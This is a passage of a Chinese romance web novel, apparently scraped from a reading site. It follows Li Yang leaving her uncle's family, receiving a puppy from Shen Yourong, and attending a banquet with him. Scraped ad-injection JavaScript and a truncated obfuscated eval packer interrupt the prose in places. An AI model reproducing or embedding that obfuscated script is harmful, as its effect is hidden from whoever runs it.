孟序深深地叹了一口气,语气自责愧疚:“从机场接你回来的路上,我一直在想等到死后要怎么面对琳琅。她和家里断绝关系后仍然和我有联系,那时候今妍三天两头往医院跑,也是她出了一大笔钱。可我却对不起她......” 说到最后,他哽咽说不出话。孟序起身,拉开抽屉,取出了一张卡。 “这张卡办的时候便是给你准备的。里面的金额是按照当年的汇率,把那笔赔偿折换成现在的数额。” “本来打算等你的身体恢复后交到你手里。但现在你已经知道了真相,是时候物归原主了。” 孟序说着,把那张卡递给了黎泱。 但她却没有去接。 黎泱沉默着听完孟序的话,过了很久,才终于找回自己的声音。 “......舅舅,你告诉我这些又给我这张卡,是想让我原谅的意思吗?” 她现在内心情绪很复杂,找不到一个合适的词来概括。该震惊还是该愤怒?该歇斯底里质问孟序当初为什么那么做还是该痛哭流涕控诉自己这些年受到的不公待遇? 黎泱不知道。她的心口像被一团海绵堵住,无论说什么都有心无力发不出声音,快要窒息。她试着动了动手指掐住自己的胳膊感知到疼痛,然而根本提不起力气。 就连最后孟序是什么回答都没有听清。她就这么茫然地回了自己的房间反锁上门,像处于一种灵魂出窍的状态,眼看着自己身体慢慢从门板滑落坐在地上,然后什么都做不了。 她关了灯,房间一片黑暗,好像又恢复了往日失明时什么都看不清的状态。 黎泱抱着膝盖坐在地板上,回想起自己当初在来港城的飞机上的设想:她以为终于能在舅舅家有安稳的生活。现在这种念头早就荡然无存,变成锋利的碎片一刀一刀刺在她身上,嘲笑她多么天真。 这里根本就不是她奢望的安稳栖息地。 她甚至不想再留在这里一分一秒。 手腕上传来震动,黎泱本想无视,然而电话那头的主人却异常固执。 嗡嗡的震动声连着脉搏心跳,让黎泱再也忽视不了。她吸了吸鼻子,滑动接听。 电话两头都陷入了沉默,谁都没先开口。 黎泱不知道是谁打来的电话,见没动静只当是打错了,随手挂断。 她从地上爬起来,鼻腔有些发堵,急需去冲一个热水澡。于是解开了手表放在桌子上,没心思再去想刚才的电话,拿了衣服进了浴室。 等到她从浴室出来,听到手表依然在响。黎泱以为对方是推销电话,这么晚了还如此敬业。 她不想再被骚扰,只好接通,开口就是干脆利落的拒绝:“不好意思,我没钱没时间没买房意愿也不办卡。” 话音刚落,黎泱听见对面的呼吸声一滞。 过了两秒,终于听到了对方的声音。 “是我,沈有容。” “我在你家楼下。这位难约的黎小姐,有兴趣出来见我一面么。” 17. 不夜17 17 黎泱呆住。 过了两三秒,她才迟疑地问出一个很傻的问题:“......现在?” “对,现在。”沈有容很快回了她。语气平稳,根本听不出什么情绪。 黎泱搞不明白这位少爷是大晚上抽了什么疯,突发奇想非要见她。 但是她敢拒绝吗?先不提对方的身份,人家前几天才刚刚救了自己。总不能转头就忘了这份恩情吧。 在心里衡量了一番,黎泱做出选择:“那给我几分钟。” 这个点,不好说孟家是否还有人没睡。而且光凭黎泱一个人,是不可能在眼睛没完全恢复的状态下走出去的。 她只好叫来小梅,借口说自己睡不着想去院子里吹吹风。等到小梅把她带下楼,又说想出去走走。 小梅一眼看穿她欲盖弥彰的表现,一阵见血地说:“小姐,你是不是要去见什么人啊?” “......” 被拆穿,黎泱只好挤了个笑容,不自然地说:“对,见一位,呃,朋友。马上就回来。” 小梅有些怀疑,毕竟黎泱才到港城没多久而且不常出门,什么时候结交了朋友。她生怕黎泱被有心之人给骗了,小心翼翼一路护送着。 路边停着一辆劳斯莱斯,在她们的身影出现后打了双闪。看到这样的豪车,让小梅想起了孟今妍在家中辱骂黎泱勾搭上毕承节的事。 小梅不相信黎泱会做出那种事,觉得她是被毕承节那样的花花公子给忽悠了,于是苦口婆心地劝说道:“黎小姐,有钱的男人没一个好东西,你可不能被骗了......” 项怀英在驾驶位还没来得及开口,只见沈有容慢悠悠地降下了车窗,意有所指般反问:“哦,是吗?” 看到沈有容的脸,小梅傻眼了。她不是先前压着黎泱去机场的那个女佣,从之前的新闻中见过沈有容,自然也知道他的身份。 这这这......黎泱口里的朋友,难道就是港城顶级豪门家的二少爷沈有容? 黎泱只好硬着头皮解释:“沈先生之前帮过我几次忙,所以算......不熟的朋友。” 不知道是被她话里的哪个字眼触动到了,沈有容轻呵了一声。 是绝对谈不上愉悦的语气。 项怀英坐不住了,不敢去看沈有容的反应。他赶紧下车替黎泱拉开车门,一手撑住车框,然后对小梅说:“我们家少爷找黎小姐有些事,明早会把人安全送回来。” 黎泱刚坐进车内,听到“明早回来”的字眼愣住。刚想说她晚上要回去,脑海里又浮现了孟序晚上的话。 现在的孟家她不想再待下去,索性就如此。 黎泱生平第一次产生了叛逆的念头。 直到车子开出了好一会,她才开口对沈有容说:“不好意思沈,你打来的时候我以为是推销电话,所以才那么说的。” 沈有容淡淡“嗯”了一声。就在黎泱以为这事就此翻篇的时候,又听到他说了句:“你对骗子还挺有礼貌。” 黎泱:“......” 她就知道!不可能这么容易把沈有容给糊弄过去。 但是谁能想到,他晚上不睡觉给她打电话?而且在那之前还莫名接到个不说话的号码。 等等—— 那个不说话的号码不会也是...... 黎泱表情凝滞了一秒,试探性地用自言自语的语气问:“沈有容,你今晚,给我打了几次电话?” “不多。” 肯定不是真话,她已经习惯重点在后一句了。 “也就十五通。” !!! 前排的项怀英欲盖弥彰地咳嗽了两声,在沈有容目光扫过去的时候又恢复了正襟危坐的样子,目不斜视开着车。 黎泱不再说话了,试图降低自己的存在感。开始后悔自己为什么要上车。 沈有容见旁边突然装聋作哑没了声,饶有兴趣地盯着黎泱看。她取下纱布后,脸上的神情再也遮掩不了,心事都写在上面。眼下是一副焉了的状态。 他想到刚才黎泱对小梅介绍自己时说的措辞:“不熟的,普通朋友”。 原来在她眼中和自己是那样的关系。不熟,那怎样才算熟悉? 沈有容莫名有些吃味。但好像忘记了不久之前,他自己对谈由也说了一句:“不熟,只见过几面。” 黎泱出来得有些赶,只在睡裙外面披了一件外套,脚下甚至还是拖鞋。屈膝坐下后裙子往上带,小腿没了衣服的遮挡裸露在空气中。 入秋之后的夜晚早就有了凉意,虽然车厢内有恒温空调,她还是没忍住打了喷嚏。 下一秒,就有一条薄毯抖落,盖在了她的膝盖上。 沈有容关上车座旁的抽屉箱,看着黎泱把毯子盖好。见她的鼻尖和眼眶周围有些泛红,还以为是刚才在外面冻得。 “怎么出来那么着急,衣服也没穿好。” “让人久等并不礼貌。”黎泱顿了顿,故意让语气听起来欢快些:“而且我也不是值得让别人等的人啊。” 从小到大,都是黎泱抱着期望一次一次在等别人。 孤儿院的47号一直在等走出去的机会,刚到港城的她在等许诺的新家。 总是这样。 所以她知道等待的过程有多煎熬,所以害怕等待落空后的幻灭。 不知道为什么,在听到黎泱有些自嘲的回答后,让沈有容皱了皱眉。 她的状态不对。 沈有容仔细回想了今晚发生的事,在黎泱见到他之前,也许经历了什么情绪波动。 是孟家人又对她做了什么让她受了委屈? 可在过去的接触中,黎泱并不是惯于将脆弱一面流于表面的人。 然而等沈有容再想细看的时候,黎泱已经别开了头,转向了车窗那侧。 她的背影在窗外不断闪过的霓虹灯下,渡上了一层梦幻的轮廓。有些单薄易碎,又带着让人忽视不了的一份坚韧。 比夜色更令人沉醉。 . 到了沈有容的家中,黎泱早已经压下了心底的情绪,表现得没有异样。她想起问正事:“沈有容,你找我是出了什么事吗?” “有一样东西要给你。” 东西?难道是她上次在客房落了什么? “喏,来了。” 黎泱还在心里盘算是自己不小心落下了什么东西,忽然身体一僵。 因为她察觉到有个毛茸茸的东西,在蹭她的脚。 未知的触感带来极大的不确定和恐惧,让黎泱下意识慌了神。她条件反射地抓住了站在身旁的沈有容,身体也不自觉往他身边靠。 “沈沈沈......刚刚是不是有东西蹭我......” 沈有容没料到黎泱的反应会这么大,好笑地回答她:“嗯,是有东西。” 黎泱抓得更紧了,身体紧贴着沈有容,像海上漂泊遇到浮木。 沈有容垂眸,看着被她手指抓过的地方,皮肤开始泛红带着指印。他没拨开黎泱的手,只是无奈地叹了口气,平声安慰她:“别怕,是只金毛幼犬,还没到你的膝盖。” 说着,他弯下腰,伸手招来那只金毛幼犬,把它脖子上的牵引绳递到了黎泱手中。 “要摸一下吗?” 黎泱在听到沈有容说是小狗的时候就放下了心。她手里攥着绳子,小心翼翼蹲下,朝面前伸出了另一只手——< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小金毛温顺把脑袋贴在了她的掌心上,软软的毛发让黎泱的心都融化了。 她彻底没了刚才的害怕,松开原本抓住沈有容的手,新奇又开心地在摸小金毛。 “它好乖。沈有容,这是你养的狗吗?” 这是只赛季双血统金毛巡回幼犬,在经过专门的训练后,傍晚刚从英国伦敦空运到港城。沈有容和谈由分开后便亲自接了它回家。 小家伙刚到新环境的时候还很警惕。也许是因为长途旅行疲惫,也许是害怕沈有容,总之先前一直躲在笼子里不肯出来。 直到看到黎泱出现,它好像也知道自己真正的主人是谁,蹭地从地上爬起,迈着小步子围在黎泱的腿边。 “不是我的狗,是你的。” “这就是刚才说要给你的东西。” 沈有容从来没有在送出东西后再问别人是否喜欢的习惯。一是能让他主动送礼物的人很少;二是他不在乎别人的看法,东西送出去后便和他没有关系。 但现在,他从黎泱的反应能看到,她应该是喜欢这份礼物的。 沈有容也学者黎泱,单膝曲起蹲在地上,想伸手摸一把小金毛。结果这小家伙也会看人下菜,头一扭,钻到黎泱的怀里去了。 黎泱虽然看不见,但好像猜到发生了什么,情不自禁笑出了声。 沈有容收回落在空中的手,轻啧了一声。转念又一想,他和一条狗置什么气? 但这事也没就这么结束。 他伸手补偿似地在黎泱头上揉了两下,看到女孩鼓了鼓腮帮:“沈有容,我晚上刚洗的头。” 沈有容有些没懂黎泱怎么突然说这么一句。 “所以?” 黎泱:“你总不能因为没摸到小狗,就把目标转移到我头上吧。” 被她这话一点,沈有容才意识到自己刚才做了件多么幼稚的事。 他站起身,手抵住下巴清了清嗓子,对黎泱说:“既然现在它归你了,不给它起个名字?” “叫它happy吧。” 似乎对这个名字很满意,happy嗷呜叫了一声。 黎泱忽然间想到了什么,有些犹豫地说:“但是我现在不能养它。能不能麻烦你先照看它一段时间,等我眼睛恢复从孟家搬出去后再接它?” 沈有容捕捉到她话里的重点。 “你要离开孟家?” 黎泱点头。孟序把当年的真相都告诉了她,无论他当年是出于什么苦衷,但是造成的伤害都是真的。 她不知道以后要怎么继续留在孟家。说原谅?可是她过去十几年经历的一切没那么容易轻描淡写。说愤怒?可是事情已经发生了,这段时间孟序对她的照顾又有目共睹。 黎泱最后的选择是离开。等到她的眼睛恢复可以出去打工赚钱后,就立刻搬走。 她不要那张卡里的钱,也不想再和孟家扯上一点关系了。 “既然已经有了要搬走的心,为什么要等。”沈有容平静道:“你现在就有选择。” 黎泱抱着happy,解释说:“但是我现在眼睛还没好,没有能力知道住的地方。” 说着说着,她突然明白了沈有容的话:“你的意思是,我可以用那一个条件请你帮忙?” “你在港城人生地不熟。就算要离开,想必孟序也不会轻易放心让你走吧。” 沈有容不知道是因为什么事让黎泱坚定了离开的念头。但既然她想离开,他又恰好可以提供办法。 “在你恢复视力前,可以带着happy住在这。之后要怎么选择,那就是你的事了。” 就这样,他只是为了履行那一个任意条件的约定罢了,仅此而已。沈有容心想。 18. 不夜18 18 隔天清晨,黎泱在沈有容安排的一名女秘书陪同下回到了孟家。 女秘书名叫fay,在宁恒总部做事。她并没有在恒天出现过,所以不必担心孟序认出的可能性。 fay会扮演成黎泱的友人,在孟序面前配合她演戏,声称会她行动自理前帮忙照顾并提供住处。 虽然临行前黎泱有些担心会不会露馅,但沈有容淡定自若:“能进宁恒的,如果连这点小事都处理不了,那也没有再待下去的能力。” 确实如他所言。 fay业务能力属实精湛。 她陪着黎泱刚进孟家,立刻表现得极其热络,仿佛两人真的是感情极好的挚友。然而事实上黎泱连她的长相也不知道。 哦,对,说起来她也没见过沈有容的长相。 如果说fay帮忙是受了沈有容的指示,那么沈有容呢?他几次帮自己,也只是为了履行那一个任意要求? 当听见黎泱提出要离开后,孟家众人的表现各异。 许姿嗤笑一声,眼神傲慢审视着她,以为黎泱又想要耍什么把戏;孟今妍则神情古怪,但嘴角又带着愉悦。 至于在场唯一一个知道缘由的人,孟序几番欲言又止。他知道自己没有立场说什么,不管过去了多久也不管理由多么正当,当年的事对黎泱造成的伤害都是不可逆转的。 最后,孟序很重地叹了口气,想再试着挽回:“小泱,你真的决定好了?” “决定好了。”黎泱不愿再说什么,拉开椅子站起身:“谢谢你们这段时间的照顾。” 到了这时,许姿才确信了黎泱真的要离开的话。她不知道黎泱已经了解当年整件事的来龙去脉,看到她离开只觉得多日悬在心口的威胁终于消失了。 走了才好,最后滚得远远的。许姿才不觉得自己当年做错了什么。 孟今妍却以为黎泱是搭上了毕承节攀了高枝。在黎泱回房间收拾东西的时候,故意阴阳怪气道:“别以为人家是真的看上了你,也不掂量掂量自己的身份。” 黎泱没说话。但在从她身边离开的时候,有意用手里的箱子重重撞了一下孟今妍。 “啊——你干什么?” “对不起,我眼睛看不见。刚刚听见狗叫声以为房里进了条狗,就想赶出去。” 黎泱一本正经地胡说八道。 她想明白了,既然已经要走,没必要再忍气吞声和以前以往维持表面关系了。过去她可以对孟今妍的冷嘲热讽装作没听见,但现在要还是那样,可太窝囊了。 换个角度来说,孟今妍的命,说是黎泱给的也不为过。 可那晚孟序向她提了一个要求,希望她不要把这件事告诉孟今妍。 “今妍当时还小又生了大病。加上这些年被她妈妈宠坏了,我担心她知道真相后会接受不了。” 桌上放着一张卡,黎泱没有带走。她可以不计较孟家人过去的做法,可不代表她真的原谅了当初的事。 在孟家并没有耽误多久,fay就开车带黎泱回到了沈有容的别墅。刚进院子,happy就从屋内跑来绕着她的脚在转。 happy从小是作为导盲犬培养的,在经历了层层筛选后才被选中送到了这。赛季双血统让它具有极佳的体态外形,但性格又很温顺亲人。 因为是周末,沈有容没去公司。他穿着居家服,没出声,神情慵懒地撑着栏杆,看着楼下和happy打闹的黎泱。 项怀英觉得有些感触颇深。虽然家中现在不似往常的安静,可带着抚人的烟火气。 他想:自家少爷对这位黎小姐,恐怕不是简简单单的上心了。 黎泱陪着happy玩闹了一会,有些累了。她坐在沙发上喝了杯水,忽然听到一道熟悉的声音。 她有些惊喜:“小梅?你怎么在这?” “我从孟家辞职了。沈先生让我来这里继续照顾你,开给我的工资可是过去的三倍呢。” 黎泱没想到竟然是沈有容的意思。她在心里无奈苦笑了下,不知道自己究竟欠了沈有容多少人情。 等她眼睛好了后,又该拿什么去还呢。 黎泱住的房间不再是上次匆忙来住的那间客房,而是换成了在沈有容卧室胳膊的次卧。 虽然说是次卧,可面积却实在不小。房间内有独立浴室,还带了一整个步入式的衣帽间。 长达数米的步入过道,林立在两侧的衣柜内全部挂着当季的女士服装。除了国内外的各大奢侈品牌,还有没有吊牌的定制衣裙,全部由意大利匠人手工缝制的定制衣裙,相应的价值也更高昂。 除此之外,两面墙的玻璃展柜中陈列着各种配饰、包、鞋。不仅包含市面上已有的款式,还有未发售只供高级客户选择的内部供货。 过道的尽头是一张足够宽敞的梳妆台,上有琳琅满目的各类女士护肤品和化妆品。落地窗外附有极好的采光,阳光正好射进来,穿过百叶窗,在地上投出一片片阴影。 黎泱虽然看不见,但还是从小梅的话里还是体会到了夸张。 “这应该是他妹妹住过的房间吧。”不然怎么可能会有女生的东西。 她心里突然萌生了一个想法:自己是不是误会了沈有容? 他对待一个借宿的人都能阔绰大方地提供这种奢侈的条件。怎么看都不会像是,连一个包都舍不得给女朋友买的人吧? 所以自己曾经骂沈有容的那句话—— 她还用这个威胁过沈有容,说要散步出去让全港岛的人都知道。 现在想想,根本就太可笑了啊啊啊! 黎泱觉得自己没勇气再面对沈有容了。 但没想到先被对方找上了门。 “你把自己关在房间里做什么。”沈有容牵着happy的绳子,小家伙一脸不情愿地蹲在他旁边,看到黎泱开门后立刻换了一副样子,高兴地扑了上去。 “......我就是有点困。” 黎泱心虚地回避沈有容的目光。 她的小动作被后者一眼看穿。沈有容勾了勾嘴角,放慢了语速一字一顿地说:“你要是能看见,对着镜子就会发现你现在表情——” 他故意停在了这,不往下继续说了。 黎泱内心正七上八下,就像坐过山车卡在了最高点,即将下降时却偏偏停住了。她紧张地问:“我怎么了?” 沈有容往前进了一步,拉近了两人之间的距离。他能清楚看见黎泱微微抖动的眼睫,弧度小巧的鼻翼。向下,还有唇形好看,刚刚涂了唇膏的水润嘴部。 他喉间微动,掀起眼帘移开视线,又克制了心底生出的什么情绪。 “很漂亮。” 沈有容这句话是用粤语说的,和平常的对话比起来带着不一样的质感。压低的声线, 黎泱即使听不懂粤语,可这种简单的句子,还是能猜出大概的意思来。 她觉得心口好像无端蔓延出了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一种莫名的不可言说的情绪。有些发涩,有些涨。 又有些,别扭。 然而没等黎泱想再仔细探究,沈有容已经退回到了原来的距离。 “晚上我会晚点回来。早点睡,别等我。” . 沈汀仪原本正叽叽喳喳和庄女士聊着天,看到视线里出现了沈有容,立刻眼睛一亮。 “哥!二哥!” 她今天格外殷勤,又是替沈有容拉椅子又是夸了他今天的衣服好看。反常的举动让沈家其他人都十分困惑。 沈闻时低声问沈有容:“你又答应她什么要求了?” “那你得问她,又想从我这里要什么。”沈有容有些心不在焉,不知道在想什么。 直到餐盘撤下,佣人端上了果盘和茶点,沈汀仪再也等不及,坐到了沈有容旁边。 “二哥,你别瞒着我了,我早就知道了。” 沈有容朝沈汀仪手里递过去一个柑橘,伸手点了下她的额头:“乜?” “衣服啊。我今天去逛街,看到店员正在打包几条刚空运来的裙子。我从sale那里瞄了一眼,都送到你的别墅去了。” 沈汀仪一脸欣慰状:“二哥,原来你这么懂我,那都是我看上好久的款式。我要感动流泪了......” 然而你这种感动没持续两秒,就被沈有容一句话给打破了。 “哦,那些——” “不是给你的。” “?!!” 沈汀仪睁大了眼睛,不确信地磕磕绊绊说:“二哥,你是在和我开玩笑吗。那都是女生的衣服,你又不......” 沈有容回以干脆简洁的三个字:“我送人。” 这时,在一边看完整场戏的沈闻时不合时宜地笑出声。 沈汀仪已经心碎了一地,刚拼凑起的兄妹情荡然无存。她emo了两秒缓过神来,突然福至心灵捕捉到关键信息: 送人,送女生? 难道是,那天在餐厅见到的和沈有容约会的那个? 再联想到上次沈有容提早回家—— 一个念头慢慢浮现,并在沈汀仪脑海中变得清晰起来。 “Cindy,稍微收敛一下你的表情。你把爸妈都吸引看过来了。” 沈闻时温声开口提醒。果然,庄女士和沈铮的眼神都朝他们投来。 庄女士:“你说他们三个在做什么,怎么神神秘秘的?” 沈铮:“有闻时看着,不会出什么事。” 庄女士骄傲地点点头:“那是。闻时可惯着他们两了,从小到大哪次不帮着兜底。” 沈家不存在豪门间勾心斗角的事,也不存在手足间尔虞我诈的关系。兄妹三人间感情很好。虽然有时候打闹玩笑,但仍然关系亲密。 “虽然上次有容和女孩子见了面,但之后就再也没消息。我总担心他不会故意找人来搪塞吧?” 庄女士的撮合大计仍然放弃。她本想从沈铮那里听到安慰的话,但没想到沈铮淡定说了句:“是他的性子会做出来的事。” 从沈有容当初不顾众人反对跑去读数学开始,沈铮就清楚这个儿子的性子了。 随心所欲,不喜约束,有自己的一套行事法则。 “怎么现在想看孩子谈个恋爱这么难。我还想做港城最漂亮的婆婆呢。” 庄女士捧着手里的花茶,觉得这样下去实在不行。她得找个机会去验证沈有容是不是在糊弄自己。 19. 不夜19 19 黎泱在半睡半醒间听到了隔壁房门转动的声音,知道应该是沈有容回来了。 突然换了一个新环境,难免有些不适应。她索性放空,在脑海里胡思乱想。 然而就像磁盘卡带了一样。 下午沈有容对她说的那句“很漂亮”,在头脑中翻来覆去重演着这一个画面。 “别想了呀,不就是一句客套话而已。” 黎泱喃喃出声,想克制住意识。她告诉自己:沈有容那不过就是随口说出的一句无心话,是在逗她,她不能放在心上的。 而且她不觉得自己真的谈得上漂亮。就算失去视力的这几年她看不见自己的脸,可从前放在人群里也只是默默无闻。 但当人越想忽视什么,潜意识就越爱唱反调,让你记得越清楚。 为什么当时两个人挨得那么近。 沈有容说话的时候,呼出的温热气息撒在黎泱的耳畔。她当时脑海里闪过的第一个念头是想躲开,因为她的心跳声好快。 ——害怕,被沈有容听到。 打住,打住。 别再往下想了啊! 黎泱觉得再这么下去,她今晚是睡不着了。 隔壁主卧,沈有容刚洗完澡走出浴室。 手机里有两条新消息,拿到了封口费的沈汀仪心情大好。 “二哥放心,我一定守口如瓶!不会让爸妈发现任何蛛丝马迹!” “我就是您忠实的爱情小保安~” 这丫头。 平常言情小说是看了多少。 沈有容放下手机,想起刚才在走廊上看到黎泱房间已经熄了灯,应该早就睡下了。 桌上躺着一封宴会邀请函,银白烫金配色,封壳上的花体字写明了时间是在明晚。 晚宴的举办方是做地产生意的梁家,它和宁恒最近有比生意合作,理所当然发来了邀请。 沈有容用指尖夹起那张邀请函,眼神中没流露出丝毫的兴趣。 以他的身份,去和不去不过是一句话的事。 原本这封邀请函是要发给沈闻时的,毕竟他现在是沈家在外界的出面人。但当沈有容晚上回到家,看见项怀英把东西交给了他。 “是夫人送来的。” 话一点,沈有容立刻清楚庄女士的用意了。 这种正式的晚宴,按理来说出席都需要带有女伴。 他上次用和黎泱见面搪塞了庄女士给他安排相亲的心,当然只能缓一时之急。 这场晚宴就是在试探他呢。 沈有容觉得有些无奈和好笑,庄女士还真是乐此不疲给他出了个难题。 他要是推了或者一个人出席,那么不用提,隔天就要喜提庄女士的消息轰炸;可要真的出席继续糊弄,他就需要一个女伴。 在那种公众场合,任何出面的人的信息都会被迅速传开。沈有容不想让身边人遭受到那种境况,况且以黎泱现在的身体,也不适合出席—— 等等。 他为什么那么自然地,就想到了黎泱? 察觉到这一点,沈有容怔住,接着像是想到了什么。 难道是他最近太累了?或者他应该去找Pawel聊聊数学的事。对,他去做套数独放空一下好了。 沈有容关了灯,靠在床头点开手机。然而平常能让自己冷静放松下来的数字,此刻根本无法集中精力去细看。 “......” 半响,他在黑暗中无声骂了一句话。 . 第二天,黎泱打着哈欠坐在餐桌前。项怀英替她端来咖啡,问道:“黎小姐昨晚没休息好?” 说着,他目光转向刚抵拳咽下一个哈欠的沈有容,觉得稀奇:“少爷也是?” “被她打哈欠传染的。” 沈有容面无波澜回答。 项怀英若有所思:“哦,原来是这样。” 黎泱真以为沈有容是被自己影响了。后面再有想打哈欠的冲动时只能拼命忍住,导致眼眶莹莹有些泪水,像是被欺负了一样。 沈有容呷了口咖啡,移开视线,听到项怀英问起他要怎么处理那封邀请函。 “按时去。” 项怀英有些意外,但还是公事公办:“那我现在去列一份合适的人选,能陪你出席......” 沈有容打断他:“不用了,现在就有合适的。” 黎泱刚给弯腰偷偷给happy喂了一小块面包,坐回去的时候,忽然发现气氛不对。 项怀英和沈有容都看着她。 她疑惑发问:“怎么了?” 黎泱不知道事情怎么发展成这样的。 她坐在自己房间的化妆台前,身边围着忙碌的四五个人,将她从头到尾焕然一新。 给黎泱化妆的正是上次和沈有容吃饭时遇到的那个化妆师,见到她已经轻车熟路打了招呼: “靓女,又是你哇。” 他给黎泱上妆时闲聊,“你的这个豪华衣帽间,女人来了都要流泪的。沈总一定对你很重视。” 黎泱赶紧解释:“我只是借住。这本来应该是沈总妹妹的房间。” 化妆师露出一副“我懂”的表情,也没有胆量再往下去探究豪门内部的事。他画完最后一笔:“完成了,我去叫沈总。” 黎泱现在的眼睛在慢慢恢复,她把脑袋移到镜子面前,隐约从中看见了自己的脸。然而眉眼还是模糊不清,再想看仔细已经到了极限。 她不知道沈有容为什么会带着自己去赴宴。那种正式的场合,她会不会做不好而出差错,最后牵连到带她来的沈有容? 再者,她不觉得自己足够漂亮,到时候和其他人比起来一定相形见绌。 无论怎么看,黎泱都不认为自己是一个最优选择。 “在发呆?” 她抬头,从镜子里看到身后多出一个人影。黎泱下意识转身,说:“沈有容,你要不要换一个人陪你——” 话没说完,后半段就被堵在了嘴边。 因为两人的距离实在是,太近了。 只隔着,一个吻的距离。 黎泱慌乱地想转回去,但被沈有容按住肩膀没转成。他弯腰凑近看了看,皱眉说: “你是不是腮红打重了?” “脸怎么这么红。” “可能......是的。” 黎泱用手背贴了下自己的脸,不知道怎么就觉得在发烫。她用手扇了扇风,身体向后仰想和沈有容拉开距离。 结果忘记身后是悬空的,还是被沈有容眼疾手快拉了回来。 “该走了,牵住我的手。” 黎泱原本想说的话又都咽回肚子里。箭在弦上这个时间点,再想说不去也没可能了。 她身上穿的是条黑色斜肩鱼尾裙,长度到脚面,好在裙尾开得足够大,走起来不至于寸步难行。 但也造成了一个问题。下摆是两层厚重堆叠起来的白色绸缎和网纱,意味着黎泱上车时必须提起裙子防止踩上去摔倒。 她刚要弯腰,身后的沈有容已经先一步帮她理好了裙子,在黎泱坐上去后才松开手。 沈有容从另一侧上了车,司机的职责交给了fay,她到时候会在会场陪着黎泱。 随着挡板慢慢升起,汽车驶入夜色。 黎泱有些不自然地摆弄了下脖子上的珍珠项链。她没穿过这样露肤的礼裙,再想到等会要和沈有容一起下车赴宴,更加紧张。 “坐过来一点,帮你把眼睛蒙上。” 宴会现场必然会有镜头和闪光灯,刺眼的灯光对黎泱的眼睛不好。而且,沈有容不想让外界看清她的脸。 黎泱依言朝沈有容的方向挪过去一点,双手乖乖地放在膝盖上,坐得笔直。 “头低下。” 沈有容拉开车门旁的置物箱,看清里面放的是什么后,神情微妙。 那是条真丝眼罩,两端是白色的镂空蕾丝花纹,看起来......带有某种别的意味。 沈有容深吸了一口气,按捺住情绪。他特意交代了造型师准备蒙眼的配饰,但很明显,造型师会错了意。 眼下的条件,除了这条蕾丝眼罩,还真的别无选择了。 黎泱见沈有容迟迟没有动作,困惑地看着他:“怎么了?” 她的眼瞳很纯粹,眼神带着一丝茫然和无辜,好像氤氲了水汽。 沈有容只看了一眼,拿起那条眼罩,对她说:“没事。” 他将黎泱的长发拨到脖子一侧,从前往后,动作很轻又细致地系好绑带。 眼罩遮住了黎泱的大半面容,只露出鼻尖和下巴。在她的整体穿搭下并不显突兀,黑白两种配色有种浑然天成的协调,露肩设计呈现出她的优美的肩颈线。 这样的黎泱,无疑是美的。 “到会场后你和我一起下车,别害怕,我会牵着你的手。”沈有容有条不紊交代,“之后fay会带你去休息室,没人敢去打扰你。” “好,我记住了。” 车速放缓,fay的声音从前传来:“沈总,快到了。” 黎泱于是觉得心跳加速,手心变得湿润。直到被沈有容扣住她的手腕,掌心相贴,他沉稳道: “紧张什么。” “你站在我身边。今天就算把场子砸了,也没人敢说一个字。” 车门被侍者从外打开,沈有容先下了车,而后朝车厢内伸手。黎泱本能地伸出手,握住了他温热的手掌。 “牵住了。” . 黎泱到了会场,才切身实地体会到阶级间的身份差异。 她全程站在沈有容身边没说一句话,走过之处都是攀附之声。能上前搭话的都要事先掂量掂量自己的身份,再想想够不够格。 沈有容意兴阑珊,他从小在这样的环境下长大,对应酬之事没有一毫兴致。况且在场也没有能让他纡尊降贵分出一丝精力应付的。 他和黎泱进场时引起了不小的轰动。众人都在私底下交换了眼神,对沈有容的出现感到意外,更多的,是好奇他旁边人的身份。 到底是什么身份,能够和沈有容一起入场? 然而想仔细去看,好吧,人家的脸都遮得严严实实的。况且还有沈家那位二少爷站在身边,谁有那个胆子凑上前。 沈有容知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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应侍生敲门送来了饮料,将托盘放在桌上好很开离开。fay看出她想要休息,把房间留给了她,出去守在门外。 黎泱忽然觉得有些口渴,从下午化妆就没喝过一口水。她端起托盘上的玻璃杯,闻了闻,像是饮料。 喝起来还有甜甜的汽水味,嗯,肯定是气泡饮料。 不知道过了多久,黎泱从睡梦中恍惚醒来。房门刚好从外推开,沈有容抬眼就看见眼罩绑带散开,要掉不掉地挂在黎泱的脸上。 她睡眼惺忪地打了个哈欠,似乎认出了他的脚步声。“沈有容,你来接我回去了吗?” “嗯。” 沈有容觉得那条蕾丝眼罩实在有些惹眼,便直接伸手取下了。黎泱像个洋娃娃一样坐着,任由他摆弄没动一下。 他这时才闻到黎泱身上有股淡淡的酒味,看向旁边空了的玻璃杯,印证了想法。 “谁给你喝的酒?” “不是酒,是......气泡饮料。”黎泱认真地说:“我尝过了。” 沈有容眉间微蹙,问了fay才知道是怎么回事。 哪里是气泡饮料,应侍生端来的是杯皇家基尔。虽然是作为开胃的气泡酒,但度数不低,而且气泡让酒精挥发的更快。 他摸了下黎泱的脸,发烫,明显是醉了。 沈有容什么时候有过照顾人的经历,更何况还是个喝醉了的人。他在黎泱面前蹲下,拍了拍她的脸:“还困?回去再睡。” 黎泱确实觉得脑子有些晕,还以为是没睡好。她不明白为什么身体那么热,意识让她本能地去寻找凉的东西。 沈有容的手掌让她觉得找到了能降温的东西,于是覆住了他的手把脸贴上去。见状,沈有容愣住。他指尖带了戒指,害怕弄伤黎泱,也不好立刻抽出手。 “黎泱,松开。” “......你好凶。” “......” 平生第一次照顾酒鬼的沈二少只好耐下性子,放缓了语调:“先跟我回去。”见黎泱又要皱眉,他才又在后面别扭地加了一句:“好不好?” 啧,怎么像哄人一样。 好在这次黎泱乖顺地点了头。 沈有容觉得温度真的会传染。刚才被黎泱蹭过的那块掌心,现在也开始发烫。 他不想再耽误时间,领着黎泱出了门。fay先一步离开去把车开来,走廊上只有他们两个人的脚步声。 就在这时,楼下传来了乐声。黎泱站住,张望着脑袋。“是什么曲子?” 沈有容:“Porunacabeza,一步之遥。” 这是首经典的探戈舞曲,被称作探戈曲中的极致代表,多次在影史上留下过足迹。沈有容在英国留学时,导师Pawel钟爱的那部《闻香识女人》电影就出现过这首歌。 